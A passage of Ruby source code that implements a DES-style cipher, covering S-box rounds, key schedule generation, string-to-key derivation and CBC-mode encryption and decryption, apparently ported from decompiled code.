right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]

# Create return tuple
ret_block = Array.new
ret_block.push left
ret_block.push right
ret_block

end

def store(data_block)
a1 = data_block.pack("V*")
val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
val & 0xffffffff
end

def sbox_xors(data_block_in, ksch_arg, decrypt_flag)

decrypt_flag_cpy = decrypt_flag
if (decrypt_flag & 0x100) != 0
data_block_0 = data_block_in
else
data_block_0 = rotate_block_init(data_block_in)
end

encrypt_flag = (decrypt_flag_cpy & 1) == 0
ti_block_0 = load(data_block_0[0])
ti_block_1 = load(data_block_0[1])

for i in 0..15
ti_cpy = ti_block_1
if encrypt_flag
ti_block_1 = desx(ti_block_1, ksch_arg, i)
else
ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
end
ti_block_1[0] ^= ti_block_0[0]
ti_block_1[1] ^= ti_block_0[1]
ti_block_0 = ti_cpy
end

data_block_0[0] = store(ti_block_1)
data_block_0[1] = store(ti_block_0)

if (!(decrypt_flag_cpy & 0x200) != 0)
rotate_block_final(data_block_0)
else
data_block_0
end

end

def gen_key_unchecked(key)

idx = 0
key_arr = key.unpack("V*")
key_sch = Array.new
for i in 0..15
idx += ROTATIONS[i].ord
v6 = 0
v5 = 0
v14 = 0
for j in 0..47
pc2_p1 = (idx + PC2[j].ord) % 0x1C
if PC2[j].ord > 0x1B
pc2_p2 = 0x1c
else
pc2_p2 = 0
end
v13 = PC1[pc2_p1 + pc2_p2].ord
if v13 <= 31
v12 = 0
else
v12 = 1
v13 -= 32
end
if j <= 23
v10 = j
else
v14 = 1
v10 = j - 24
end
v11 = 8 * (v10 / 6) + v10 % 6
key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]

if (key_and != 0)
if v14 == 1
v6 |= SBOX_BYTE_ORDER[v11]
else
v5 |= SBOX_BYTE_ORDER[v11]
end
end
end
key_sch.push v5
key_sch.push v6
end
key_sch
end

def des_string_to_key(key_buf_str)

des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)

temp_key1 = Array.new(8, 0)
temp_key2 = Array.new(8, 0)

key_buf_bytes = key_buf_str.unpack("c*")

counter = 0
key_buf_str_len = key_buf_bytes.length - 1
for i in 0..key_buf_str_len
counter %= 8
temp_key1[counter] |= key_buf_bytes[i]
temp_key2[counter] |= key_buf_bytes[i]

data_block = temp_key1.pack("c*").unpack("V*")
temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
temp_key1 = temp_key1.pack("V*").unpack("c*")

data_block = temp_key2.pack("c*").unpack("V*")
temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
temp_key2 = temp_key2.pack("V*").unpack("c*")
counter += 1
end

# Prepare the return array
ret_key = Array.new(8, 0)
for j in 0..7
ret_key[j] = temp_key2[j] ^ temp_key1[j]
end
ret_key.pack("c*")
end

def des_cbc(input_buf, key_sch, iv, decrypt_flag)

output_block_arr = Array.new
blocks = input_buf.unpack("Q<*")
for i in 0..blocks.length - 1

current_block = blocks[i]
if decrypt_flag == 1
cur_block = current_block
else
current_block ^= iv
end

current_block_tuple = [current_block].pack("Q<").unpack("V*")
output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
output_block = output_block_tuple.pack("V*").unpack1("Q<")
output_block_arr.push output_block

if decrypt_flag == 1
output_block ^= iv
iv = cur_block
else
iv = output_block
end
end

output_block_arr.pack("Q<*")

end

def des_crypt_func(binary_buf, key_buf, decrypt_flag)
des_key = des_string_to_key(key_buf)
des_keysch = gen_key_unchecked(des_key)

temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
binary_buf_str = binary_buf.unpack('c*')

for j in 0..binary_buf_str.length - 1
temp_enc_buf[j] = binary_buf_str[j]
end

temp_enc_buf = temp_enc_buf.pack('c*')
output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
output_buf
end

end